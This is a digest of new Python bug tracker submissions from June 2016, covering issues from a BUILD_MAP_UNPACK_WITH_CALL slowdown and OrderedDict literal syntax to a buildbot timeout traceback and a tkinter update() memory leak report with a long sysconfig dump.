bugs.python.org (Demur Rumed) Date: Tue, 21 Jun 2016 01:46:01 +0000 Subject: [New-bugs-announce] [issue27358] BUILD_MAP_UNPACK_WITH_CALL is slow Message-ID: <1466473561.23.0.768330028286.issue27358@psf.upfronthosting.co.za> New submission from Demur Rumed: BUILD_MAP_UNPACK_WITH_CALL is _really_ slow, wasting much of its time asserting that keys are non overlapping. This patch optimizes a fast path for distinct dicts, especially useful for #27213 where BUILD_MAP_UNPACK_WITH_CALL is generated for a single **kw rather than needing **kw1,**kw2 to hit this slow opcode This patch tracks size of dictionary, if size doesn't increase by same size as the dict we updated sum with, then we scan to find where collision is. Further optimization can be done by scanning size of dicts to preallocate dictionary Microbenchmark: from timeit import timeit def f(**x):return x timeit(lambda:f(**{'a':2},**{'b':2})) Unpatched takes ~15s Patched takes ~5s ---------- files: mapaca.patch keywords: patch messages: 268951 nosy: Demur Rumed priority: normal severity: normal status: open title: BUILD_MAP_UNPACK_WITH_CALL is slow Added file: http://bugs.python.org/file43494/mapaca.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jun 20 22:17:07 2016 From: report at bugs.python.org (Joe Jevnik) Date: Tue, 21 Jun 2016 02:17:07 +0000 Subject: [New-bugs-announce] [issue27359] OrderedDict pseudo-literals (WIP) Message-ID: <1466475427.25.0.285635253324.issue27359@psf.upfronthosting.co.za> New submission from Joe Jevnik: This proposes the following syntax for creating OrderedDict literals: OrderedDict[k1: v1, k2: v2, ...] This is implemented by putting a metaclass on OrderedDict which has a getitem that turns the slices into a list of tuples (after validation). The idea is taken from the library datashape where we have done this to implement pseudo literals for the Record type. This is marked as WIP because I am not quite sure why, but this patch is causing subclasses of OrderedDict to segfault in PyObject_SetItem. ---------- components: Library (Lib) files: odict_literals.patch keywords: patch messages: 268954 nosy: llllllllll priority: normal severity: normal status: open title: OrderedDict pseudo-literals (WIP) versions: Python 3.6 Added file: http://bugs.python.org/file43495/odict_literals.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jun 21 04:22:50 2016 From: report at bugs.python.org (David Delassus) Date: Tue, 21 Jun 2016 08:22:50 +0000 Subject: [New-bugs-announce] [issue27360] _deque and _islice are sometimes None Message-ID: <1466497370.43.0.610992999114.issue27360@psf.upfronthosting.co.za> New submission from David Delassus: With Python 3.4.3-r1 (on Gentoo x86_64), I have encountered a strange behavior with the library "riak==2.5.3". When closing the client connection, the library calls ``self._stop.set()`` where ``self._stop`` is a ``threading.Event``. The following error is raised (sometimes): ``` Exception ignored in: > Traceback (most recent call last): File "/home/linkdd/devel/projects/link-framework/venv3/lib/python3.4/site-packages/riak/client/multi.py", line 110, in __del__ File "/home/linkdd/devel/projects/link-framework/venv3/lib/python3.4/site-packages/riak/client/multi.py", line 97, in stop File "/usr/lib64/python3.4/threading.py", line 518, in set File "/usr/lib64/python3.4/threading.py", line 360, in notify_all File "/usr/lib64/python3.4/threading.py", line 343, in notify TypeError: 'NoneType' object is not callable ``` When going in the ``threading`` module, I have found the following line: ``` waiters_to_notify = _deque(_islice(all_waiters, n)) ``` I added just before: ``` print(_deque, _islice, all_waiters, n) ``` Just to see that ``_deque`` and ``_islice`` are both **None**. They are imported from the modules ``collections`` and ``itertools`` correctly though. ---------- components: Library (Lib) messages: 268974 nosy: linkdd priority: normal severity: normal status: open title: _deque and _islice are sometimes None type: crash versions: Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jun 21 04:59:40 2016 From: report at bugs.python.org (Eric Sprigg) Date: Tue, 21 Jun 2016 08:59:40 +0000 Subject: [New-bugs-announce] [issue27361] ValueError on eval after 'from pandas import *' Message-ID: <1466499580.5.0.314875374842.issue27361@psf.upfronthosting.co.za> New submission from Eric Sprigg: Using 'from pandas import *' leads to a ValueError exception being raised when eval tries to execute an expression like eval("df['Country'] == 'Brazil'") When the alternative form 'import pandas' is used, the expression evaluates as expected. The test program in the attached file demonstrates the problem. I use anaconda with Python 3.4.4 on OS X 10.11.5 ---------- components: Interpreter Core files: eval problem.ipynb messages: 268975 nosy: espri priority: normal severity: normal status: open title: ValueError on eval after 'from pandas import *' type: behavior versions: Python 3.4 Added file: http://bugs.python.org/file43496/eval problem.ipynb _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jun 21 09:09:18 2016 From: report at bugs.python.org (Daniel Ward) Date: Tue, 21 Jun 2016 13:09:18 +0000 Subject: [New-bugs-announce] [issue27362] json.dumps to check for obj.__json__ before raising TypeError Message-ID: <1466514558.58.0.537455774899.issue27362@psf.upfronthosting.co.za> New submission from Daniel Ward: To help prevent retrospective JSONEncoder overrides when failing to serialize a given object, the intention of this issue is to propose that the JSON encoder checks if a given object has a __json__ attribute, using that rather than raising a TypeError. This will help in maintaining easier-to-follow code and keeps the responsibility of determining how an object should be represented in JSON objects firmly within the object itself. The obj.__json__ callable/attribute should behave in the same way as __repr__ or __str__, for example. I'm happy to look in to contributing this enhancement myself if that's preferred. Any pointers as to how I go about contributing are greatly appreciated. ---------- components: Library (Lib) messages: 268991 nosy: Daniel Ward priority: normal severity: normal status: open title: json.dumps to check for obj.__json__ before raising TypeError type: enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jun 21 15:02:08 2016 From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=) Date: Tue, 21 Jun 2016 19:02:08 +0000 Subject: [New-bugs-announce] [issue27363] Complex with negative zero imaginary part Message-ID: <1466535728.31.0.514028528898.issue27363@psf.upfronthosting.co.za> New submission from Vedran ?a?i?: Look: >>> complex('1-0j') (1-0j) >>> 1-0j (1+0j) Yes, I understand what's going on, and it's probably wrong / too much to expect 1-0j to work properly, but I'd really like the complex from string constructor to be consistent with that. Even more because (of course): >>> import ast >>> ast.literal_eval('1-0j') (1+0j) ---------- messages: 269013 nosy: Vedran.?a?i? priority: normal severity: normal status: open title: Complex with negative zero imaginary part type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jun 21 16:34:20 2016 From: report at bugs.python.org (Emanuel Barry) Date: Tue, 21 Jun 2016 20:34:20 +0000 Subject: [New-bugs-announce] [issue27364] Deprecate invalid unicode escape sequences Message-ID: <1466541260.02.0.320668077341.issue27364@psf.upfronthosting.co.za> New submission from Emanuel Barry: Attached patch deprecates invalid escape sequences in unicode strings. The point of this is to prevent issues such as #27356 (and possibly other similar ones) in the future. Without the patch: >>> "hello \world" 'hello \\world' With the patch: >>> "hello \world" DeprecationWarning: invalid escape sequence 'w' I'll need some help (patch isn't mergeable yet): test_doctest fails on my machine with the patch (and -W), and I don't know how to fix it. test_ast fails an assertion (!PyErr_Occurred() in PyObject_Call in abstract.c) when -W is on, and I also don't know how to fix it (I don't even know what causes it). Of course, I went ahead and fixed all instances of invalid escape sequences in the stdlib (that I could find) so that no DeprecationWarning is encountered. Lastly, I thought about also doing this to bytes, but I ran into some issues with some invalid escapes such as \u, and _codecs.escape_decode would trigger the warning when passed br"\8" (for example). Ultimately, I decided to leave bytes alone for now, since it's mostly on the lower-level side of things. If there's interest I can add it back. ---------- components: Interpreter Core, Library (Lib), Unicode files: deprecate_invalid_unicode_escapes.patch keywords: patch messages: 269022 nosy: ebarry, ezio.melotti, haypo priority: normal severity: normal stage: patch review status: open title: Deprecate invalid unicode escape sequences type: behavior versions: Python 3.6 Added file: http://bugs.python.org/file43499/deprecate_invalid_unicode_escapes.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jun 21 23:04:05 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 22 Jun 2016 03:04:05 +0000 Subject: [New-bugs-announce] [issue27365] Allow non-ascii chars in IDLE NEWS.txt (for contributor names) Message-ID: <1466564645.25.0.829598827477.issue27365@psf.upfronthosting.co.za> New submission from Terry J. Reedy: A month ago, for 3.5 and 3.6, I added a test file by Westley Mart?nez (note accent on i) and then his name into Misc/NEWS and idlelib/NEWS.txt. As a result, the latter will not display when the button on About IDLE is clicked. Instead, a UnicodeDecodeError is sent to stderr. I will add a test for the About box. ---------- assignee: terry.reedy messages: 269042 nosy: terry.reedy priority: normal severity: normal stage: test needed status: open title: Allow non-ascii chars in IDLE NEWS.txt (for contributor names) type: behavior versions: Python 2.7, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 22 03:19:27 2016 From: report at bugs.python.org (Martin Teichmann) Date: Wed, 22 Jun 2016 07:19:27 +0000 Subject: [New-bugs-announce] [issue27366] PEP487: Simpler customization of class creation Message-ID: <1466579967.76.0.483118833643.issue27366@psf.upfronthosting.co.za> New submission from Martin Teichmann: This is the implementation of PEP 487. It adds a metaclass to types that calls a method on a class once it is subclassed. This way one can customize the creation of classes without the need to write an own metaclass. As a second functionality, it calls a method on each descriptor in a class, such that descriptors know their name. ---------- components: Library (Lib) files: pep487.patch keywords: patch messages: 269050 nosy: Martin.Teichmann priority: normal severity: normal status: open title: PEP487: Simpler customization of class creation type: enhancement versions: Python 3.6 Added file: http://bugs.python.org/file43506/pep487.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 22 04:29:46 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 22 Jun 2016 08:29:46 +0000 Subject: [New-bugs-announce] [issue27367] Windows buildbot: random timeout failure on test_threading Message-ID: <1466584186.93.0.689178719863.issue27367@psf.upfronthosting.co.za> New submission from STINNER Victor: test_threading fails with a timeout, but it is probably a random failure caused by a slow Windows buildbot. http://buildbot.python.org/all/builders/AMD64%20Windows7%20SP1%203.x/builds/7871/steps/test/logs/stdio 0:21:16 [351/401] test_threading crashed -- running: test_concurrent_futures (93 sec) Timeout (0:15:00)! Thread 0x000014a0 (most recent call first): File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\threading.py", line 295 in wait File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\lock_tests.py", line 473 in f File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\lock_tests.py", line 38 in task Thread 0x00001704 (most recent call first): File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\lock_tests.py", line 17 in _wait File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\lock_tests.py", line 511 in _check_notify File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\lock_tests.py", line 520 in test_notify File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\unittest\case.py", line 600 in run File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\unittest\case.py", line 648 in __call__ File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\unittest\suite.py", line 122 in run File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\unittest\suite.py", line 84 in __call__ File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\unittest\suite.py", line 122 in run File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\unittest\suite.py", line 84 in __call__ File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\unittest\suite.py", line 122 in run File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\unittest\suite.py", line 84 in __call__ File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\unittest\runner.py", line 176 in run File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\support\__init__.py", line 1803 in _run_suite File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\support\__init__.py", line 1837 in run_unittest File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\libregrtest\runtest.py", line 179 in test_runner File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\libregrtest\runtest.py", line 180 in runtest_inner File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\libregrtest\runtest.py", line 133 in runtest File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\libregrtest\runtest_mp.py", line 71 in run_tests_slave File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\libregrtest\main.py", line 453 in _main File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\libregrtest\main.py", line 446 in main File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\libregrtest\main.py", line 508 in main File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\regrtest.py", line 46 in _main File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\regrtest.py", line 50 in File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\runpy.py", line 85 in _run_code File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\runpy.py", line 184 in _run_module_as_main Traceback (most recent call last): File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\runpy.py", line 184, in _run_module_as_main "__main__", mod_spec) File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\runpy.py", line 85, in _run_code exec(code, run_globals) File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\__main__.py", line 2, in main() File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\libregrtest\main.py", line 508, in main Regrtest().main(tests=tests, **kwargs) File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\libregrtest\main.py", line 446, in main self._main(tests, kwargs) File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\libregrtest\main.py", line 466, in _main self.run_tests() File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\libregrtest\main.py", line 404, in run_tests run_tests_multiprocess(self) File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\libregrtest\runtest_mp.py", line 221, in run_tests_multiprocess raise Exception(msg) Exception: Child error on test_threading: Exit code 1 ---------- components: Tests keywords: buildbot messages: 269058 nosy: haypo priority: normal severity: normal status: open title: Windows buildbot: random timeout failure on test_threading versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 22 04:59:07 2016 From: report at bugs.python.org (Chandrajyoti) Date: Wed, 22 Jun 2016 08:59:07 +0000 Subject: [New-bugs-announce] [issue27368] os.mkdir is not working for multiple level of directory creation in windows environment Message-ID: <1466585947.59.0.278104796576.issue27368@psf.upfronthosting.co.za> New submission from Chandrajyoti: Problem: os.mkdir is not working for multiple level of directory creation in windows environment. Explanation: Suppose there is a directory whose path is "D:\Output" Now to create 2 levels of directory in side the path "D:\Output", when os.mkdir("D:\Output\Dir1\Dir2") is used, python 2.7 throws errors as below: Traceback (most recent call last): File "", line 1, in WindowsError: [Error 3] The system cannot find the path specified: 'D:\\Output\\Dir1\\Dir2' Please update python to create multiple level of directory. ---------- components: Library (Lib) messages: 269062 nosy: ChandrajyotiDas priority: normal severity: normal status: open title: os.mkdir is not working for multiple level of directory creation in windows environment type: enhancement versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 22 14:17:23 2016 From: report at bugs.python.org (sping) Date: Wed, 22 Jun 2016 18:17:23 +0000 Subject: [New-bugs-announce] [issue27369] [PATCH] Tests break with --with-system-expat and Expat 2.2.0 Message-ID: <1466619443.74.0.364754178665.issue27369@psf.upfronthosting.co.za> New submission from sping: Expat commit https://sourceforge.net/p/expat/code_git/ci/550eb6bbaa7e6efc44e94cab945fe9c781c01211 introduced with the recent release of Expat 2.2.0 fixed a bug that the current Python test suite relies on. Attached you find patches to fix the test suite for all versions in a backwards-compatible way. Please consider application upstream. Thanks! Best, Sebastian ---------- components: Tests files: 0001-Fix-Python-2.7.11-tests-for-Expat-2.2.0.patch keywords: patch messages: 269079 nosy: sping priority: normal severity: normal status: open title: [PATCH] Tests break with --with-system-expat and Expat 2.2.0 type: behavior versions: Python 2.7, Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6 Added file: http://bugs.python.org/file43514/0001-Fix-Python-2.7.11-tests-for-Expat-2.2.0.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 22 14:29:00 2016 From: report at bugs.python.org (Andrew Cameron) Date: Wed, 22 Jun 2016 18:29:00 +0000 Subject: [New-bugs-announce] [issue27370] Inconsistency in docs for list.extend Message-ID: <1466620140.79.0.360465596161.issue27370@psf.upfronthosting.co.za> New submission from Andrew Cameron: The documentation for Mutable Sequence Types states that, for operation: s.extend(x) or s += t the expected result is: for the most part the same as s[len(s):len(s)] = x Note that if you perform operation 's += t' the result is not the same as 's[len(s):len(s)] = x' unless 't == x'. This does not occur with the Python 3 docs, which uses exclusively 't' (not 'x'). However for people reading the Python 2 docs the variable mix-up could cause confusion. ---------- assignee: docs at python components: Documentation messages: 269080 nosy: Andrew Cameron, docs at python priority: normal severity: normal status: open title: Inconsistency in docs for list.extend versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 22 17:01:29 2016 From: report at bugs.python.org (Jeremy Blow) Date: Wed, 22 Jun 2016 21:01:29 +0000 Subject: [New-bugs-announce] [issue27371] Runaway memory consumption using update() Message-ID: <1466629289.92.0.827863623566.issue27371@psf.upfronthosting.co.za> New submission from Jeremy Blow: Hi folks, While going about running tkinter's update() call within a coroutine/asyncio event loop in lieu of using mainloop(), I came across odd memory behavior on MacOS where the cpython process gradually increases memory consumption. Suspicious that there may be some unfavorable interaction between asyncio's use of KqueueSelector and the lower level tk calls, I stripped things down to a simple implementation and found the behavior exhibits itself without asyncio involved at all. ``` import tkinter as tk def start(root): while True: root.update() # tk update loop: mem consumption increases start(tk.Tk()) # tk mainloop: mem consumption stable # tk.Tk().mainloop() ``` # Using tk mainloop, ~1 minute /Users/jeremy$ /usr/bin/time -l python3.5 tk_perf.py 60.26 real 0.16 user 0.07 sys 31756288 maximum resident set size 0 average shared memory size 0 average unshared data size 0 average unshared stack size 10215 page reclaims 0 page faults 0 swaps 0 block input operations 7 block output operations 0 messages sent 0 messages received 0 signals received 7 voluntary context switches 1788 involuntary context switches # tk update loop, ~1 minute /Users/jeremy$ /usr/bin/time -l python3.5 tk_perf.py Traceback (most recent call last): File "tk_perf.py", line 10, in start(tk.Tk()) File "tk_perf.py", line 7, in start root.update() File "/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/lib/python3.5/tkinter/__init__.py", line 1025, in update self.tk.call('update') _tkinter.TclError: can't invoke "update" command: application has been destroyed 60.37 real 38.09 user 20.54 sys 545976320 maximum resident set size 0 average shared memory size 0 average unshared data size 0 average unshared stack size 135760 page reclaims 2 page faults 0 swaps 0 block input operations 9 block output operations 0 messages sent 0 messages received 0 signals received 474742 voluntary context switches 1672276 involuntary context switches That's 31,756,288 versus 545,976,320 after ~1 minute. If I let the update loop continue, it eventually consumes many gigabytes of memory. Obviously something is very wrong here. To further the fun, I've tested this across three Macs, and only two exhibit the behavior. This may or may not be interesting to those who are already aware of Tk / Cocoa event loop interaction issues. +---------------+----------------+----------------+----------+ | MacOS Version | Python Version | Tcl/Tk Version | Exhibits | +---------------+----------------+----------------+----------+ | 10.11.3/15D21 | 3.5.1 | 8.5/8.5 | Yes | | 10.9.4/13E28 | 3.5.1 | 8.5/8.5 | No | | 10.11.2/15C50 | 3.5.1 | 8.5/8.5 | Yes | +---------------+----------------+----------------+----------+ Could someone illuminate me as to as whether I'm facing a PEBKAC, update() is lacking some housekeeping that exists in the mainloop routine, a new/known bug, or other? Further troubleshooting steps I can take are appreciated, I'm happy to try to isolate it further. My use case is a tkinter app written solely w/ coroutines thus the event loop selection is constrained. Env details below.. Cheers. ~~~ENV~~~~ /Users/jeremy$ sw_vers ProductName: Mac OS X ProductVersion: 10.11.3 BuildVersion: 15D21 /Users/jeremy$ python3.5 --version Python 3.5.1 >>> import _tkinter >>> _tkinter.__spec__ ModuleSpec(name='_tkinter', loader=<_frozen_importlib_external.ExtensionFileLoader object at 0x1028ae5c0>, origin='/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/lib/python3.5/lib-dynload/_tkinter.cpython-35m-darwin.so') >>> _tkinter.TCL_VERSION, _tkinter.TK_VERSION ('8.5', '8.5') /Users/jeremy$ python3.5 -m sysconfig "sysconfig.get_config_vars()" Platform: "macosx-10.11-x86_64" Python version: "3.5" Current installation scheme: "posix_prefix" Paths: data = "/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5" include = "/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/include/python3.5m" platinclude = "/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/include/python3.5m" platlib = "/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/lib/python3.5/site-packages" platstdlib = "/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/lib/python3.5" purelib = "/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/lib/python3.5/site-packages" scripts = "/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/bin" stdlib = "/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/lib/python3.5" Variables: ABIFLAGS = "m" AC_APPLE_UNIVERSAL_BUILD = "0" AIX_GENUINE_CPLUSPLUS = "0" AR = "ar" ARFLAGS = "rc" ASDLGEN = "python ./Parser/asdl_c.py" ASDLGEN_FILES = "./Parser/asdl.py ./Parser/asdl_c.py" AST_ASDL = "./Parser/Python.asdl" AST_C = "Python/Python-ast.c" AST_C_DIR = "Python" AST_H = "Include/Python-ast.h" AST_H_DIR = "Include" BASECFLAGS = "-Wno-unused-result -Wsign-compare -Wunreachable-code -fno-common -dynamic" BASECPPFLAGS = "" BASEMODLIBS = "" BINDIR = "/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/bin" BINLIBDEST = "/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/lib/python3.5" BLDLIBRARY = "" BLDSHARED = "clang -bundle -undefined dynamic_lookup" BUILDEXE = ".exe" BUILDPYTHON = "python.exe" BUILD_GNU_TYPE = "x86_64-apple-darwin15.4.0" BYTESTR_DEPS = "\" CC = "clang" CCSHARED = "" CFLAGS = "-Wno-unused-result -Wsign-compare -Wunreachable-code -fno-common -dynamic -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes" CFLAGSFORSHARED = "" CFLAGS_NODIST = "" CONFIGFILES = "configure configure.ac acconfig.h pyconfig.h.in Makefile.pre.in" CONFIGURE_CFLAGS = "" CONFIGURE_CFLAGS_NODIST = "-Werror=declaration-after-statement" CONFIGURE_CPPFLAGS = "" CONFIGURE_LDFLAGS = "" CONFIG_ARGS = "'--prefix=/usr/local/Cellar/python3/3.5.1' '--enable-ipv6' '--datarootdir=/usr/local/Cellar/python3/3.5.1/share' '--datadir=/usr/local/Cellar/python3/3.5.1/share' '--enable-framework=/usr/local/Cellar/python3/3.5.1/Frameworks' '--without-ensurepip' '--without-gcc' 'MACOSX_DEPLOYMENT_TARGET=10.11' 'CC=clang' 'PKG_CONFIG_PATH=/usr/local/opt/xz/lib/pkgconfig:/usr/local/opt/sqlite/lib/pkgconfig:/usr/local/opt/openssl/lib/pkgconfig' 'PKG_CONFIG_LIBDIR=/usr/lib/pkgconfig:/usr/local/Library/ENV/pkgconfig/10.11'" CONFINCLUDEDIR = "/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/include" CONFINCLUDEPY = "/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/include/python3.5m" COREPYTHONPATH = ":plat-darwin" COVERAGE_INFO = "/private/tmp/python320160418-12904-1t6reri/Python-3.5.1/coverage.info" COVERAGE_REPORT = "/private/tmp/python320160418-12904-1t6reri/Python-3.5.1/lcov-report" COVERAGE_REPORT_OPTIONS = "--no-branch-coverage --title "CPython lcov report"" CPPFLAGS = "-I. -IInclude -I./Include" CXX = "clang++" DESTDIRS = "/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5 /usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/lib /usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/lib/python3.5 /usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/lib/python3.5/lib-dynload" DESTLIB = "/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/lib/python3.5" DESTPATH = "" DESTSHARED = "/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/lib/python3.5/lib-dynload" DIRMODE = "755" DIST = "README ChangeLog configure configure.ac acconfig.h pyconfig.h.in Makefile.pre.in Include Lib Misc Ext-dummy" DISTDIRS = "Include Lib Misc Ext-dummy" DISTFILES = "README ChangeLog configure configure.ac acconfig.h pyconfig.h.in Makefile.pre.in" DLINCLDIR = "." DLLLIBRARY = "" DOUBLE_IS_ARM_MIXED_ENDIAN_IEEE754 = "0" DOUBLE_IS_BIG_ENDIAN_IEEE754 = "0" DOUBLE_IS_LITTLE_ENDIAN_IEEE754 = "1" DYNLOADFILE = "dynload_shlib.o" ENABLE_IPV6 = "1" ENSUREPIP = "no" EXE = "" EXEMODE = "755" EXTRAMACHDEPPATH = "" EXTRATESTOPTS = "" EXTRA_CFLAGS = "" EXT_SUFFIX = ".cpython-35m-darwin.so" FILEMODE = "644" FLOCK_NEEDS_LIBBSD = "0" GETPGRP_HAVE_ARG = "0" GETTIMEOFDAY_NO_TZ = "0" GNULD = "no" GRAMMAR_C = "Python/graminit.c" GRAMMAR_H = "Include/graminit.h" GRAMMAR_INPUT = "./Grammar/Grammar" HAVE_ACCEPT4 = "0" HAVE_ACOSH = "1" HAVE_ADDRINFO = "1" HAVE_ALARM = "1" HAVE_ALIGNED_REQUIRED = "0" HAVE_ALLOCA_H = "1" HAVE_ALTZONE = "0" HAVE_ASINH = "1" HAVE_ASM_TYPES_H = "0" HAVE_ATANH = "1" HAVE_BIND_TEXTDOMAIN_CODESET = "0" HAVE_BLUETOOTH_BLUETOOTH_H = "0" HAVE_BLUETOOTH_H = "0" HAVE_BROKEN_MBSTOWCS = "0" HAVE_BROKEN_NICE = "0" HAVE_BROKEN_PIPE_BUF = "0" HAVE_BROKEN_POLL = "0" HAVE_BROKEN_POSIX_SEMAPHORES = "0" HAVE_BROKEN_PTHREAD_SIGMASK = "0" HAVE_BROKEN_SEM_GETVALUE = "1" HAVE_BROKEN_UNSETENV = "0" HAVE_BUILTIN_ATOMIC = "1" HAVE_C99_BOOL = "1" HAVE_CHFLAGS = "1" HAVE_CHOWN = "1" HAVE_CHROOT = "1" HAVE_CLOCK = "1" HAVE_CLOCK_GETRES = "0" HAVE_CLOCK_GETTIME = "0" HAVE_COMPUTED_GOTOS = "1" HAVE_CONFSTR = "1" HAVE_CONIO_H = "0" HAVE_COPYSIGN = "1" HAVE_CTERMID = "1" HAVE_CTERMID_R = "1" HAVE_CURSES_H = "1" HAVE_CURSES_IS_TERM_RESIZED = "1" HAVE_CURSES_RESIZETERM = "1" HAVE_CURSES_RESIZE_TERM = "1" HAVE_DECL_ISFINITE = "1" HAVE_DECL_ISINF = "1" HAVE_DECL_ISNAN = "1" HAVE_DECL_TZNAME = "0" HAVE_DEVICE_MACROS = "1" HAVE_DEV_PTC = "0" HAVE_DEV_PTMX = "1" HAVE_DIRECT_H = "0" HAVE_DIRENT_D_TYPE = "1" HAVE_DIRENT_H = "1" HAVE_DIRFD = "1" HAVE_DLFCN_H = "1" HAVE_DLOPEN = "1" HAVE_DUP2 = "1" HAVE_DUP3 = "0" HAVE_DYNAMIC_LOADING = "1" HAVE_ENDIAN_H = "0" HAVE_EPOLL = "0" HAVE_EPOLL_CREATE1 = "0" HAVE_ERF = "1" HAVE_ERFC = "1" HAVE_ERRNO_H = "1" HAVE_EXECV = "1" HAVE_EXPM1 = "1" HAVE_FACCESSAT = "1" HAVE_FCHDIR = "1" HAVE_FCHMOD = "1" HAVE_FCHMODAT = "1" HAVE_FCHOWN = "1" HAVE_FCHOWNAT = "1" HAVE_FCNTL_H = "1" HAVE_FDATASYNC = "0" HAVE_FDOPENDIR = "1" HAVE_FEXECVE = "0" HAVE_FINITE = "1" HAVE_FLOCK = "1" HAVE_FORK = "1" HAVE_FORKPTY = "1" HAVE_FPATHCONF = "1" HAVE_FSEEK64 = "0" HAVE_FSEEKO = "1" HAVE_FSTATAT = "1" HAVE_FSTATVFS = "1" HAVE_FSYNC = "1" HAVE_FTELL64 = "0" HAVE_FTELLO = "1" HAVE_FTIME = "1" HAVE_FTRUNCATE = "1" HAVE_FUTIMENS = "0" HAVE_FUTIMES = "1" HAVE_FUTIMESAT = "0" HAVE_GAI_STRERROR = "1" HAVE_GAMMA = "1" HAVE_GCC_ASM_FOR_MC68881 = "0" HAVE_GCC_ASM_FOR_X64 = "1" HAVE_GCC_ASM_FOR_X87 = "1" HAVE_GCC_UINT128_T = "1" HAVE_GETADDRINFO = "1" HAVE_GETC_UNLOCKED = "1" HAVE_GETENTROPY = "0" HAVE_GETGROUPLIST = "1" HAVE_GETGROUPS = "1" HAVE_GETHOSTBYNAME = "1" HAVE_GETHOSTBYNAME_R = "0" HAVE_GETHOSTBYNAME_R_3_ARG = "0" HAVE_GETHOSTBYNAME_R_5_ARG = "0" HAVE_GETHOSTBYNAME_R_6_ARG = "0" HAVE_GETITIMER = "1" HAVE_GETLOADAVG = "1" HAVE_GETLOGIN = "1" HAVE_GETNAMEINFO = "1" HAVE_GETPAGESIZE = "1" HAVE_GETPEERNAME = "1" HAVE_GETPGID = "1" HAVE_GETPGRP = "1" HAVE_GETPID = "1" HAVE_GETPRIORITY = "1" HAVE_GETPWENT = "1" HAVE_GETRANDOM = "0" HAVE_GETRANDOM_SYSCALL = "0" HAVE_GETRESGID = "0" HAVE_GETRESUID = "0" HAVE_GETSID = "1" HAVE_GETSPENT = "0" HAVE_GETSPNAM = "0" HAVE_GETTIMEOFDAY = "1" HAVE_GETWD = "1" HAVE_GLIBC_MEMMOVE_BUG = "0" 